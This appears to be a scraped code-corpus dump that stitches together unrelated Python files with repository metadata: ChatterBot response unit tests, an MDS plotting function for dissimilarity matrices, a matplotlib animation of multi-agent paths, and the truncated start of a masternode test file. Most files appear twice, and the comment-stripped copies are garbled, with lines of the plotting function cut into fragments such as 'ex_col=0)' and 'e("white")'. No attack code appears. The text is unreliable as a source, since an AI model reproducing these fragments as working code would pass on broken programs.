""" Test the case that the input string contains an emoji. """ response = self.chatbot.get_response(u'💩 ') self.assertGreater(len(response.text), 0) def test_get_response_non_whitespace(self): """ Test the case that a non-whitespace C1 control string is passed in. """ response = self.chatbot.get_response(u'') self.assertGreater(len(response.text), 0) def test_get_response_two_byte_characters(self): """ Test the case that a string containing two-byte characters is passed in. """ response = self.chatbot.get_response(u'田中さんにあげて下さい') self.assertGreater(len(response.text), 0) def test_get_response_corrupted_text(self): """ Test the case that a string contains "corrupted" text. """ response = self.chatbot.get_response(u'Ṱ̺̺̕h̼͓̲̦̳̘̲e͇̣̰̦̬͎ ̢̼̻̱̘h͚͎͙̜̣̲ͅi̦̲̣̰̤v̻͍e̺̭̳̪̰-m̢iͅn̖̺̞̲̯̰d̵̼̟͙̩̼̘̳.̨̹͈̣') self.assertGreater(len(response.text), 0) def test_response_with_tags_added(self): """ If an input statement has tags added to it, that data should saved with the input statement. """ self.chatbot.get_response(Statement( text='Hello', in_response_to='Hi', tags=['test'] )) results = list(self.chatbot.storage.filter(text='Hello')) self.assertIsLength(results, 2) self.assertIn('test', results[0].get_tags()) self.assertEqual(results[1].get_tags(), []) def test_get_response_with_text_and_kwargs(self): self.chatbot.get_response('Hello', conversation='greetings') results = list(self.chatbot.storage.filter(text='Hello')) self.assertIsLength(results, 2) self.assertEqual(results[0].conversation, 'greetings') self.assertEqual(results[1].conversation, 'greetings') def test_get_response_missing_text(self): with self.assertRaises(self.chatbot.ChatBotException): self.chatbot.get_response() def test_get_response_missing_text_with_conversation(self): with self.assertRaises(self.chatbot.ChatBotException): self.chatbot.get_response(conversation='test') def test_generate_response(self): statement = Statement(text='Many insects adopt a tripedal gait for rapid yet stable walking.') response = self.chatbot.generate_response(statement) self.assertEqual(response.text, statement.text) self.assertEqual(response.confidence, 0) def test_learn_response(self): previous_response = Statement(text='Define Hemoglobin.') statement = Statement(text='Hemoglobin is an oxygen-transport metalloprotein.') self.chatbot.learn_response(statement, previous_response) results = list(self.chatbot.storage.filter(text=statement.text)) self.assertIsLength(results, 1) def test_get_response_does_not_add_new_statement(self): """ Test that a new statement is not learned if `read_only` is set to True. """ self.chatbot.read_only = True self.chatbot.get_response('Hi!') results = list(self.chatbot.storage.filter(text='Hi!')) self.assertIsLength(results, 0) def test_get_latest_response_from_zero_responses(self): response = self.chatbot.get_latest_response('invalid') self.assertIsNone(response) def test_get_latest_response_from_one_responses(self): self.chatbot.storage.create(text='A', conversation='test') self.chatbot.storage.create(text='B', conversation='test', in_response_to='A') response = self.chatbot.get_latest_response('test') self.assertEqual(response.text, 'A') def test_get_latest_response_from_two_responses(self): self.chatbot.storage.create(text='A', conversation='test') self.chatbot.storage.create(text='B', conversation='test', in_response_to='A') self.chatbot.storage.create(text='C', conversation='test', in_response_to='B') response = self.chatbot.get_latest_response('test') self.assertEqual(response.text, 'B') def test_get_latest_response_from_three_responses(self): self.chatbot.storage.create(text='A', conversation='test') self.chatbot.storage.create(text='B', conversation='test', in_response_to='A') self.chatbot.storage.create(text='C', conversation='test', in_response_to='B') self.chatbot.storage.create(text='D', conversation='test', in_response_to='C') response = self.chatbot.get_latest_response('test') self.assertEqual(response.text, 'C') def test_search_text_results_after_training(self): """ ChatterBot should return close matches to an input string when filtering using the search_text parameter. """ self.chatbot.storage.create_many([ Statement('Example A for search.'), Statement('Another example.'), Statement('Example B for search.'), Statement(text='Another statement.'), ]) results = list(self.chatbot.storage.filter( search_text=self.chatbot.storage.tagger.get_bigram_pair_string( 'Example A for search.' ) )) self.assertEqual('Example A for search.', results[0].text) self.assertEqual('Example B for search.', results[1].text) self.assertIsLength(results, 2) class TestAdapterA(LogicAdapter): def process(self, statement, additional_response_selection_parameters=None): response = Statement(text='Good morning.') response.confidence = 0.2 return response class TestAdapterB(LogicAdapter): def process(self, statement, additional_response_selection_parameters=None): response = Statement(text='Good morning.') response.confidence = 0.5 return response class TestAdapterC(LogicAdapter): def process(self, statement, additional_response_selection_parameters=None): response = Statement(text='Good night.') response.confidence = 0.7 return response class ChatBotLogicAdapterTestCase(ChatBotTestCase): def test_sub_adapter_agreement(self): """ In the case that multiple adapters agree on a given statement, this statement should be returned with the highest confidence available from these matching options. """ self.chatbot.logic_adapters = [ TestAdapterA(self.chatbot), TestAdapterB(self.chatbot), TestAdapterC(self.chatbot) ] statement = self.chatbot.generate_response(Statement(text='Howdy!')) self.assertEqual(statement.confidence, 0.5) self.assertEqual(statement.text, 'Good morning.') def test_chatbot_set_for_all_logic_adapters(self): for sub_adapter in self.chatbot.logic_adapters: self.assertEqual(sub_adapter.chatbot, self.chatbot) self.assertGreater( len(self.chatbot.logic_adapters), 0, msg='At least one logic adapter is expected for this test.' ) def test_response_persona_is_bot(self): """ The response returned from the chatbot should be set to the name of the chatbot. """ response = self.chatbot.get_response('Hey everyone!') self.assertEqual(response.persona, 'bot:Test Bot')

38.464115

123

0.668056

from tests.base_case import ChatBotTestCase from chatterbot.logic import LogicAdapter from chatterbot.conversation import Statement class ChatterBotResponseTestCase(ChatBotTestCase): def test_conversation_values_persisted_to_response(self): response = self.chatbot.get_response('Hello', persist_values_to_response={ 'conversation': 'test 1' }) self.assertEqual(response.conversation, 'test 1') def test_tag_values_persisted_to_response(self): response = self.chatbot.get_response('Hello', persist_values_to_response={ 'tags': [ 'tag 1', 'tag 2' ] }) self.assertEqual(len(response.tags), 2) self.assertIn('tag 1', response.get_tags()) self.assertIn('tag 2', response.get_tags()) def test_in_response_to_provided(self): self.chatbot.get_response( text='Hello', in_response_to='Unique previous response.' ) statement = self.chatbot.storage.filter( text='Hello', in_response_to='Unique previous response.' ) self.assertIsNotNone(statement) def test_get_initialization_functions(self): functions = self.chatbot.get_initialization_functions() self.assertIn('download_nltk_stopwords', str(functions)) self.assertIn('download_nltk_wordnet', str(functions)) self.assertIn('download_nltk_averaged_perceptron_tagger', str(functions)) self.assertIsLength(functions, 3) def test_get_initialization_functions_spacy_similarity(self): from chatterbot.comparisons import spacy_similarity list(self.chatbot.search_algorithms.values())[0].compare_statements = spacy_similarity functions = self.chatbot.get_initialization_functions() self.assertIn('download_nltk_stopwords', str(functions)) self.assertIn('download_nltk_wordnet', str(functions)) self.assertIn('download_nltk_averaged_perceptron_tagger', str(functions)) self.assertIsLength(functions, 3) def test_get_initialization_functions_jaccard_similarity(self): from chatterbot.comparisons import jaccard_similarity list(self.chatbot.search_algorithms.values())[0].compare_statements = jaccard_similarity functions = self.chatbot.get_initialization_functions() self.assertIn('download_nltk_wordnet', str(functions)) self.assertIn('download_nltk_stopwords', str(functions)) self.assertIn('download_nltk_averaged_perceptron_tagger', str(functions)) self.assertIsLength(functions, 3) def test_no_statements_known(self): statement_text = 'How are you?' response = self.chatbot.get_response(statement_text) results = list(self.chatbot.storage.filter(text=statement_text)) self.assertEqual(response.text, statement_text) self.assertEqual(response.confidence, 0) self.assertIsLength(results, 2) self.assertEqual(results[0].text, statement_text) self.assertEqual(results[1].text, statement_text) def test_one_statement_known_no_response(self): self.chatbot.storage.create(text='Hello', in_response_to=None) response = self.chatbot.get_response('Hi') self.assertEqual(response.confidence, 0) self.assertEqual(response.text, 'Hello') def test_one_statement_one_response_known(self): self.chatbot.storage.create(text='Hello', in_response_to='Hi') response = self.chatbot.get_response('Hi') self.assertEqual(response.confidence, 0) self.assertEqual(response.text, 'Hello') def test_two_statements_one_response_known(self): self.chatbot.storage.create(text='Hi', in_response_to=None) self.chatbot.storage.create(text='Hello', in_response_to='Hi') response = self.chatbot.get_response('Hi') self.assertEqual(response.confidence, 1) self.assertEqual(response.text, 'Hello') def test_three_statements_two_responses_known(self): self.chatbot.storage.create(text='Hi', in_response_to=None) self.chatbot.storage.create(text='Hello', in_response_to='Hi') self.chatbot.storage.create(text='How are you?', in_response_to='Hello') first_response = self.chatbot.get_response('Hi') second_response = self.chatbot.get_response('How are you?') self.assertEqual(first_response.confidence, 1) self.assertEqual(first_response.text, 'Hello') self.assertEqual(second_response.confidence, 0) def test_four_statements_three_responses_known(self): self.chatbot.storage.create(text='Hi', in_response_to=None) self.chatbot.storage.create(text='Hello', in_response_to='Hi') self.chatbot.storage.create(text='How are you?', in_response_to='Hello') self.chatbot.storage.create(text='I am well.', in_response_to='How are you?') first_response = self.chatbot.get_response('Hi') second_response = self.chatbot.get_response('How are you?') self.assertEqual(first_response.confidence, 1) self.assertEqual(first_response.text, 'Hello') self.assertEqual(second_response.confidence, 1) self.assertEqual(second_response.text, 'I am well.') def test_second_response_unknown(self): self.chatbot.storage.create(text='Hi', in_response_to=None) self.chatbot.storage.create(text='Hello', in_response_to='Hi') first_response = self.chatbot.get_response( text='Hi', conversation='test' ) second_response = self.chatbot.get_response( text='How are you?', conversation='test' ) results = list(self.chatbot.storage.filter(text='How are you?')) self.assertEqual(first_response.confidence, 1) self.assertEqual(first_response.text, 'Hello') self.assertEqual(first_response.in_response_to, 'Hi') self.assertEqual(second_response.confidence, 0) self.assertEqual(second_response.in_response_to, 'How are you?') self.assertIsLength(results, 1) self.assertEqual(results[0].in_response_to, 'Hi') def test_statement_added_to_conversation(self): statement = Statement(text='Wow!', conversation='test') response = self.chatbot.get_response(statement) self.assertEqual(statement.text, response.text) self.assertEqual(response.conversation, 'test') def test_get_response_additional_response_selection_parameters(self): self.chatbot.storage.create_many([ Statement('A', conversation='test_1'), Statement('B', conversation='test_1', in_response_to='A'), Statement('A', conversation='test_2'), Statement('C', conversation='test_2', in_response_to='A'), ]) statement = Statement(text='A', conversation='test_3') response = self.chatbot.get_response(statement, additional_response_selection_parameters={ 'conversation': 'test_2' }) self.assertEqual(response.text, 'C') self.assertEqual(response.conversation, 'test_3') def test_get_response_unicode(self): response = self.chatbot.get_response(u'سلام') self.assertGreater(len(response.text), 0) def test_get_response_emoji(self): response = self.chatbot.get_response(u'💩 ') self.assertGreater(len(response.text), 0) def test_get_response_non_whitespace(self): response = self.chatbot.get_response(u'') self.assertGreater(len(response.text), 0) def test_get_response_two_byte_characters(self): response = self.chatbot.get_response(u'田中さんにあげて下さい') self.assertGreater(len(response.text), 0) def test_get_response_corrupted_text(self): response = self.chatbot.get_response(u'Ṱ̺̺̕h̼͓̲̦̳̘̲e͇̣̰̦̬͎ ̢̼̻̱̘h͚͎͙̜̣̲ͅi̦̲̣̰̤v̻͍e̺̭̳̪̰-m̢iͅn̖̺̞̲̯̰d̵̼̟͙̩̼̘̳.̨̹͈̣') self.assertGreater(len(response.text), 0) def test_response_with_tags_added(self): self.chatbot.get_response(Statement( text='Hello', in_response_to='Hi', tags=['test'] )) results = list(self.chatbot.storage.filter(text='Hello')) self.assertIsLength(results, 2) self.assertIn('test', results[0].get_tags()) self.assertEqual(results[1].get_tags(), []) def test_get_response_with_text_and_kwargs(self): self.chatbot.get_response('Hello', conversation='greetings') results = list(self.chatbot.storage.filter(text='Hello')) self.assertIsLength(results, 2) self.assertEqual(results[0].conversation, 'greetings') self.assertEqual(results[1].conversation, 'greetings') def test_get_response_missing_text(self): with self.assertRaises(self.chatbot.ChatBotException): self.chatbot.get_response() def test_get_response_missing_text_with_conversation(self): with self.assertRaises(self.chatbot.ChatBotException): self.chatbot.get_response(conversation='test') def test_generate_response(self): statement = Statement(text='Many insects adopt a tripedal gait for rapid yet stable walking.') response = self.chatbot.generate_response(statement) self.assertEqual(response.text, statement.text) self.assertEqual(response.confidence, 0) def test_learn_response(self): previous_response = Statement(text='Define Hemoglobin.') statement = Statement(text='Hemoglobin is an oxygen-transport metalloprotein.') self.chatbot.learn_response(statement, previous_response) results = list(self.chatbot.storage.filter(text=statement.text)) self.assertIsLength(results, 1) def test_get_response_does_not_add_new_statement(self): self.chatbot.read_only = True self.chatbot.get_response('Hi!') results = list(self.chatbot.storage.filter(text='Hi!')) self.assertIsLength(results, 0) def test_get_latest_response_from_zero_responses(self): response = self.chatbot.get_latest_response('invalid') self.assertIsNone(response) def test_get_latest_response_from_one_responses(self): self.chatbot.storage.create(text='A', conversation='test') self.chatbot.storage.create(text='B', conversation='test', in_response_to='A') response = self.chatbot.get_latest_response('test') self.assertEqual(response.text, 'A') def test_get_latest_response_from_two_responses(self): self.chatbot.storage.create(text='A', conversation='test') self.chatbot.storage.create(text='B', conversation='test', in_response_to='A') self.chatbot.storage.create(text='C', conversation='test', in_response_to='B') response = self.chatbot.get_latest_response('test') self.assertEqual(response.text, 'B') def test_get_latest_response_from_three_responses(self): self.chatbot.storage.create(text='A', conversation='test') self.chatbot.storage.create(text='B', conversation='test', in_response_to='A') self.chatbot.storage.create(text='C', conversation='test', in_response_to='B') self.chatbot.storage.create(text='D', conversation='test', in_response_to='C') response = self.chatbot.get_latest_response('test') self.assertEqual(response.text, 'C') def test_search_text_results_after_training(self): self.chatbot.storage.create_many([ Statement('Example A for search.'), Statement('Another example.'), Statement('Example B for search.'), Statement(text='Another statement.'), ]) results = list(self.chatbot.storage.filter( search_text=self.chatbot.storage.tagger.get_bigram_pair_string( 'Example A for search.' ) )) self.assertEqual('Example A for search.', results[0].text) self.assertEqual('Example B for search.', results[1].text) self.assertIsLength(results, 2) class TestAdapterA(LogicAdapter): def process(self, statement, additional_response_selection_parameters=None): response = Statement(text='Good morning.') response.confidence = 0.2 return response class TestAdapterB(LogicAdapter): def process(self, statement, additional_response_selection_parameters=None): response = Statement(text='Good morning.') response.confidence = 0.5 return response class TestAdapterC(LogicAdapter): def process(self, statement, additional_response_selection_parameters=None): response = Statement(text='Good night.') response.confidence = 0.7 return response class ChatBotLogicAdapterTestCase(ChatBotTestCase): def test_sub_adapter_agreement(self): self.chatbot.logic_adapters = [ TestAdapterA(self.chatbot), TestAdapterB(self.chatbot), TestAdapterC(self.chatbot) ] statement = self.chatbot.generate_response(Statement(text='Howdy!')) self.assertEqual(statement.confidence, 0.5) self.assertEqual(statement.text, 'Good morning.') def test_chatbot_set_for_all_logic_adapters(self): for sub_adapter in self.chatbot.logic_adapters: self.assertEqual(sub_adapter.chatbot, self.chatbot) self.assertGreater( len(self.chatbot.logic_adapters), 0, msg='At least one logic adapter is expected for this test.' ) def test_response_persona_is_bot(self): response = self.chatbot.get_response('Hey everyone!') self.assertEqual(response.persona, 'bot:Test Bot')

true

790c5b379c0da24ecfec766b38b7d9d3632b32e1

2,638

py

Python

plot_mds_cond.py

jona-sassenhagen/URIAL

ed4e9cc99bac0a7ec8772ad72c3d85581be71de0

[ "BSD-3-Clause" ]

null

plot_mds_cond.py

jona-sassenhagen/URIAL

ed4e9cc99bac0a7ec8772ad72c3d85581be71de0

[ "BSD-3-Clause" ]

null

plot_mds_cond.py

jona-sassenhagen/URIAL

ed4e9cc99bac0a7ec8772ad72c3d85581be71de0

[ "BSD-3-Clause" ]

null

def plot_mds_cond(rdm): '''function to visualize RDM via multidimensional scaling''' # big kudos to Jona Sassenhagen for doing an amazing job # adding condition names and colors to the mds plot # import modules and functions import numpy as np import pandas as pd import seaborn as sns import matplotlib.pyplot as plt from sklearn import manifold from sklearn.decomposition import PCA from matplotlib.collections import LineCollection ## computation/transformation section # read in the rdm in .csv format, creating a data frame df = pd.read_csv(rdm, index_col=0) df.index = df.columns # set data frame index based on columns # set seed for mds seed = 0 # create mds object mds = manifold.MDS(n_components=2, max_iter=3000, eps=1e-9, random_state=seed, dissimilarity="precomputed", n_jobs=1) # apply mds to data frame rdm_mds = mds.fit(df.values).embedding_ # create new data frame from mds df_mds = pd.DataFrame(rdm_mds, index=df.index, columns=["dim1", "dim2"]) df_mds["cond"] = df_mds.index # create condition column based on index # create pca object clf = PCA(n_components=2) # set rdm data frame based on data frame values rdm = pd.DataFrame(df.values) # scale data rdm = rdm.max() / rdm * 100 rdm[np.isinf(rdm)] = 0 # convert rdm data frame to array rdm = rdm.as_matrix() # apply pca to mds rdm_mds_pca = clf.fit_transform(rdm_mds) ## plotting section sns.set_style("white") # set seaborn style to white # create lmplot from the mds data frame g = sns.lmplot("dim1", "dim2", hue="cond", data=df_mds, fit_reg=False, legend=False) ax = g.ax # set axes sns.despine(ax=ax, trim=True, left=True, bottom=True) # despine graphic ax.axes.get_xaxis().set_visible(False) # remove x axis ax.axes.get_yaxis().set_visible(False) # remove y axis ax.grid(False) # remove gird # add condition names to plot for dim1, dim2, name in df_mds.values: ax.text(dim1 * 1.05, dim2 * 1.05, name) # create segments segments = [[rdm_mds[i, :], rdm_mds[j, :]] for i in range(len(rdm_mds_pca)) for j in range(len(rdm_mds_pca))] values = np.abs(rdm) # set line collection lc = LineCollection(segments, zorder=0, cmap=plt.cm.Greys, norm=plt.Normalize(0, values.max())) lc.set_array(rdm.flatten()) lc.set_linewidths(0.5 * np.ones(len(segments))) ax.add_collection(lc) # add line collection to plot plt.tight_layout() plt.show()

32.975

88

0.653904

def plot_mds_cond(rdm): import numpy as np import pandas as pd import seaborn as sns import matplotlib.pyplot as plt from sklearn import manifold from sklearn.decomposition import PCA from matplotlib.collections import LineCollection ex_col=0) df.index = df.columns seed = 0 mds = manifold.MDS(n_components=2, max_iter=3000, eps=1e-9, random_state=seed, dissimilarity="precomputed", n_jobs=1) rdm_mds = mds.fit(df.values).embedding_ df_mds = pd.DataFrame(rdm_mds, index=df.index, columns=["dim1", "dim2"]) df_mds["cond"] = df_mds.index clf = PCA(n_components=2) rdm = pd.DataFrame(df.values) rdm = rdm.max() / rdm * 100 rdm[np.isinf(rdm)] = 0 rdm = rdm.as_matrix() rdm_mds_pca = clf.fit_transform(rdm_mds) e("white") g = sns.lmplot("dim1", "dim2", hue="cond", data=df_mds, fit_reg=False, legend=False) ax = g.ax sns.despine(ax=ax, trim=True, left=True, bottom=True) ax.axes.get_xaxis().set_visible(False) ax.axes.get_yaxis().set_visible(False) ax.grid(False) for dim1, dim2, name in df_mds.values: ax.text(dim1 * 1.05, dim2 * 1.05, name) segments = [[rdm_mds[i, :], rdm_mds[j, :]] for i in range(len(rdm_mds_pca)) for j in range(len(rdm_mds_pca))] values = np.abs(rdm) lc = LineCollection(segments, zorder=0, cmap=plt.cm.Greys, norm=plt.Normalize(0, values.max())) lc.set_array(rdm.flatten()) lc.set_linewidths(0.5 * np.ones(len(segments))) ax.add_collection(lc) plt.tight_layout() plt.show()

true

790c5bf214ecb97f0755569e215d0f279d8471ee

6,965

py

Python

visualize.py

mirtorande/grpf-tool

5c20365366503f28d63f861f1b0326cf1dcdcd7e

[ "CC0-1.0" ]

1

2021-03-25T20:51:13.000Z

visualize.py

mirtorande/grpf-tool

5c20365366503f28d63f861f1b0326cf1dcdcd7e

[ "CC0-1.0" ]

null

visualize.py

mirtorande/grpf-tool

5c20365366503f28d63f861f1b0326cf1dcdcd7e

[ "CC0-1.0" ]

null

#!/usr/bin/env python3 from matplotlib.patches import Circle, Rectangle, ConnectionPatch import matplotlib.pyplot as plt import numpy as np from matplotlib import animation from math import floor Colors = ['green', 'purple', 'orange', 'red', 'blue', 'yellow'] class Animation: def __init__(self, my_map, starts, goals, paths, predictions): self.my_map = np.flip(np.transpose(my_map), 1) self.predictions = predictions self.starts = [] for start in starts: self.starts.append((start[1], len(self.my_map[0]) - 1 - start[0])) self.goals = [] for goal in goals: self.goals.append((goal[1], len(self.my_map[0]) - 1 - goal[0])) self.paths = [] if paths: for path in paths: self.paths.append([]) for loc in path: self.paths[-1].append((loc[1], len(self.my_map[0]) - 1 - loc[0])) aspect = len(self.my_map) / len(self.my_map[0]) self.fig = plt.figure(frameon=False, figsize=(4 * aspect, 4)) self.ax = self.fig.add_subplot(111, aspect='equal') self.fig.subplots_adjust(left=0, right=1, bottom=0, top=1, wspace=None, hspace=None) # self.ax.set_frame_on(False) self.patches = [] self.artists = [] self.agents = dict() self.agent_names = dict() self.goal_predictions = dict() self.agent_goal_connections = dict() # create boundary patch x_min = -0.5 y_min = -0.5 x_max = len(self.my_map) - 0.5 y_max = len(self.my_map[0]) - 0.5 plt.xlim(x_min, x_max) plt.ylim(y_min, y_max) plt.xticks(np.arange(x_min, x_max, 1)) plt.yticks(np.arange(y_min, y_max, 1)) plt.grid(color='0.85') self.patches.append(Rectangle((x_min, y_min), x_max - x_min, y_max - y_min, facecolor='none', edgecolor='gray')) for i in range(len(self.my_map)): for j in range(len(self.my_map[0])): if self.my_map[i][j]: self.patches.append(Rectangle((i - 0.5, j - 0.5), 1, 1, facecolor='gray', edgecolor='gray')) self.T = 0 # draw goals for i, goal in enumerate(self.goals): goal_color = Colors[i % len(Colors)] self.patches.append(Rectangle((goal[0] - 0.25, goal[1] - 0.25), 0.5, 0.5, facecolor=goal_color, edgecolor='black', alpha=0.5)) # create agents for a in range(len(self.paths)): name = str(a) self.agents[a] = Circle((starts[a][0], starts[a][1]), 0.3, facecolor=Colors[a % len(Colors)], edgecolor='black') self.agents[a].original_face_color = Colors[a % len(Colors)] self.patches.append(self.agents[a]) self.T = max(self.T, len(paths[a]) - 1) self.agent_names[a] = self.ax.text(starts[a][0], starts[a][1] + 0.25, name) self.agent_names[a].set_horizontalalignment('center') self.agent_names[a].set_verticalalignment('center') self.artists.append(self.agent_names[a]) # connections & predictions self.goal_predictions[a] = dict() self.agent_goal_connections[a] = dict() for i, goal in enumerate(self.goals): goal_color = Colors[i % len(Colors)] self.goal_predictions[a][i] = self.ax.text(goal[0], goal[1], str(i)) self.goal_predictions[a][i].set_horizontalalignment('center') self.goal_predictions[a][i].set_verticalalignment('center') self.artists.append(self.goal_predictions[a][i]) self.agent_goal_connections[a][i] = plt.Line2D((start[1], goal[0]), (len(self.my_map[0]) - 1 - start[0], goal[1]), lw=2.5, color = goal_color) self.artists.append(self.agent_goal_connections[a][i]) self.animation = animation.FuncAnimation(self.fig, self.animate_func, init_func=self.init_func, frames=int(self.T + 1) * 10, interval=100, blit=True) def save(self, file_name, speed): self.animation.save( file_name, fps=10 * speed, dpi=200, savefig_kwargs={"pad_inches": 0}) @staticmethod def show(): plt.show() def init_func(self): for p in self.patches: self.ax.add_patch(p) for a in self.artists: self.ax.add_artist(a) return self.patches + self.artists def animate_func(self, t): # per ogni agente for a in range(len(self.paths)): pos = self.get_state(t / 10, self.paths[a]) self.agents[a].center = (pos[0], pos[1]) self.agent_names[a].set_position((pos[0], pos[1] + 0.5)) # per ogni goal for i in self.agent_goal_connections[a]: timestep = floor(t/10) if timestep not in self.predictions[a]: continue prediction = self.predictions[a][timestep][i] # Linee self.agent_goal_connections[a][i].set_data([pos[0], self.goals[i][0]], [pos[1], self.goals[i][1]]) self.agent_goal_connections[a][i].set_alpha(prediction) # Percentuali self.goal_predictions[a][i].set_text("{:.2f}".format(prediction*100)) self.goal_predictions[a][i].set_position([(pos[0] + self.goals[i][0])/2, (pos[1] + self.goals[i][1])/2]) self.goal_predictions[a][i].set_alpha(prediction) # reset all colors for _, agent in self.agents.items(): agent.set_facecolor(agent.original_face_color) # check drive-drive collisions agents_array = [agent for _, agent in self.agents.items()] for i in range(0, len(agents_array)): for j in range(i + 1, len(agents_array)): d1 = agents_array[i] d2 = agents_array[j] pos1 = np.array(d1.center) pos2 = np.array(d2.center) if np.linalg.norm(pos1 - pos2) < 0.7: d1.set_facecolor('red') d2.set_facecolor('red') print("COLLISION! (agent-agent) ({}, {}) at time {}".format(i, j, t/10)) return self.patches + self.artists @staticmethod def get_state(t, path): if int(t) <= 0: return np.array(path[0]) elif int(t) >= len(path): return np.array(path[-1]) else: pos_last = np.array(path[int(t) - 1]) pos_next = np.array(path[int(t)]) pos = (pos_next - pos_last) * (t - int(t)) + pos_last return pos

41.706587

158

0.535822

from matplotlib.patches import Circle, Rectangle, ConnectionPatch import matplotlib.pyplot as plt import numpy as np from matplotlib import animation from math import floor Colors = ['green', 'purple', 'orange', 'red', 'blue', 'yellow'] class Animation: def __init__(self, my_map, starts, goals, paths, predictions): self.my_map = np.flip(np.transpose(my_map), 1) self.predictions = predictions self.starts = [] for start in starts: self.starts.append((start[1], len(self.my_map[0]) - 1 - start[0])) self.goals = [] for goal in goals: self.goals.append((goal[1], len(self.my_map[0]) - 1 - goal[0])) self.paths = [] if paths: for path in paths: self.paths.append([]) for loc in path: self.paths[-1].append((loc[1], len(self.my_map[0]) - 1 - loc[0])) aspect = len(self.my_map) / len(self.my_map[0]) self.fig = plt.figure(frameon=False, figsize=(4 * aspect, 4)) self.ax = self.fig.add_subplot(111, aspect='equal') self.fig.subplots_adjust(left=0, right=1, bottom=0, top=1, wspace=None, hspace=None) self.patches = [] self.artists = [] self.agents = dict() self.agent_names = dict() self.goal_predictions = dict() self.agent_goal_connections = dict() x_min = -0.5 y_min = -0.5 x_max = len(self.my_map) - 0.5 y_max = len(self.my_map[0]) - 0.5 plt.xlim(x_min, x_max) plt.ylim(y_min, y_max) plt.xticks(np.arange(x_min, x_max, 1)) plt.yticks(np.arange(y_min, y_max, 1)) plt.grid(color='0.85') self.patches.append(Rectangle((x_min, y_min), x_max - x_min, y_max - y_min, facecolor='none', edgecolor='gray')) for i in range(len(self.my_map)): for j in range(len(self.my_map[0])): if self.my_map[i][j]: self.patches.append(Rectangle((i - 0.5, j - 0.5), 1, 1, facecolor='gray', edgecolor='gray')) self.T = 0 for i, goal in enumerate(self.goals): goal_color = Colors[i % len(Colors)] self.patches.append(Rectangle((goal[0] - 0.25, goal[1] - 0.25), 0.5, 0.5, facecolor=goal_color, edgecolor='black', alpha=0.5)) for a in range(len(self.paths)): name = str(a) self.agents[a] = Circle((starts[a][0], starts[a][1]), 0.3, facecolor=Colors[a % len(Colors)], edgecolor='black') self.agents[a].original_face_color = Colors[a % len(Colors)] self.patches.append(self.agents[a]) self.T = max(self.T, len(paths[a]) - 1) self.agent_names[a] = self.ax.text(starts[a][0], starts[a][1] + 0.25, name) self.agent_names[a].set_horizontalalignment('center') self.agent_names[a].set_verticalalignment('center') self.artists.append(self.agent_names[a]) self.goal_predictions[a] = dict() self.agent_goal_connections[a] = dict() for i, goal in enumerate(self.goals): goal_color = Colors[i % len(Colors)] self.goal_predictions[a][i] = self.ax.text(goal[0], goal[1], str(i)) self.goal_predictions[a][i].set_horizontalalignment('center') self.goal_predictions[a][i].set_verticalalignment('center') self.artists.append(self.goal_predictions[a][i]) self.agent_goal_connections[a][i] = plt.Line2D((start[1], goal[0]), (len(self.my_map[0]) - 1 - start[0], goal[1]), lw=2.5, color = goal_color) self.artists.append(self.agent_goal_connections[a][i]) self.animation = animation.FuncAnimation(self.fig, self.animate_func, init_func=self.init_func, frames=int(self.T + 1) * 10, interval=100, blit=True) def save(self, file_name, speed): self.animation.save( file_name, fps=10 * speed, dpi=200, savefig_kwargs={"pad_inches": 0}) @staticmethod def show(): plt.show() def init_func(self): for p in self.patches: self.ax.add_patch(p) for a in self.artists: self.ax.add_artist(a) return self.patches + self.artists def animate_func(self, t): for a in range(len(self.paths)): pos = self.get_state(t / 10, self.paths[a]) self.agents[a].center = (pos[0], pos[1]) self.agent_names[a].set_position((pos[0], pos[1] + 0.5)) for i in self.agent_goal_connections[a]: timestep = floor(t/10) if timestep not in self.predictions[a]: continue prediction = self.predictions[a][timestep][i] self.agent_goal_connections[a][i].set_data([pos[0], self.goals[i][0]], [pos[1], self.goals[i][1]]) self.agent_goal_connections[a][i].set_alpha(prediction) self.goal_predictions[a][i].set_text("{:.2f}".format(prediction*100)) self.goal_predictions[a][i].set_position([(pos[0] + self.goals[i][0])/2, (pos[1] + self.goals[i][1])/2]) self.goal_predictions[a][i].set_alpha(prediction) for _, agent in self.agents.items(): agent.set_facecolor(agent.original_face_color) agents_array = [agent for _, agent in self.agents.items()] for i in range(0, len(agents_array)): for j in range(i + 1, len(agents_array)): d1 = agents_array[i] d2 = agents_array[j] pos1 = np.array(d1.center) pos2 = np.array(d2.center) if np.linalg.norm(pos1 - pos2) < 0.7: d1.set_facecolor('red') d2.set_facecolor('red') print("COLLISION! (agent-agent) ({}, {}) at time {}".format(i, j, t/10)) return self.patches + self.artists @staticmethod def get_state(t, path): if int(t) <= 0: return np.array(path[0]) elif int(t) >= len(path): return np.array(path[-1]) else: pos_last = np.array(path[int(t) - 1]) pos_next = np.array(path[int(t)]) pos = (pos_next - pos_last) * (t - int(t)) + pos_last return pos

true

790c5cd73f720c4705a7e0c57f532296b4321a6d

5,650

py

Python

test/unit/test_parkingy_things.py

hexter2018/sentinel

99dc1f1b6eeb49d2b98eddddb2c43d9e350940c9

[ "MIT" ]

null

test/unit/test_parkingy_things.py

hexter2018/sentinel

99dc1f1b6eeb49d2b98eddddb2c43d9e350940c9

[ "MIT" ]

null

test/unit/test_parkingy_things.py

hexter2018/sentinel

99dc1f1b6eeb49d2b98eddddb2c43d9e350940c9

[ "MIT" ]

null

import pytest import sys import os os.environ['SENTINEL_CONFIG'] = os.path.normpath(os.path.join(os.path.dirname(__file__), '../test_sentinel.conf')) sys.path.append(os.path.normpath(os.path.join(os.path.dirname(__file__), '../../lib'))) @pytest.fixture def valid_parking_address(network='mainnet'): return 'yYe8KwyaUu5YswSYmB3q3ryx8XTUu9y7Ui' if (network == 'testnet') else 'XpjStRH8SgA6PjgebtPZqCa9y7hLXP767n' @pytest.fixture def invalid_parking_address(network='mainnet'): return 'yYe8KwyaUu5YswSYmB3q3ryx8XTUu9y7Uj' if (network == 'testnet') else 'XpjStRH8SgA6PjgebtPZqCa9y7hLXP767m' @pytest.fixture def current_block_hash(): return '000001c9ba1df5a1c58a4e458fb6febfe9329b1947802cd60a4ae90dd754b534' @pytest.fixture def mn_list(): from masternode import Masternode masternodelist_full = { u'701854b26809343704ab31d1c45abc08f9f83c5c2bd503a9d5716ef3c0cda857-1': u' ENABLED 70201 yjaFS6dudxUTxYPTDB9BYd1Nv4vMJXm3vK 1474157572 82842 1474152618 71111 52.90.74.124:19999', u'f68a2e5d64f4a9be7ff8d0fbd9059dcd3ce98ad7a19a9260d1d6709127ffac56-1': u' ENABLED 70201 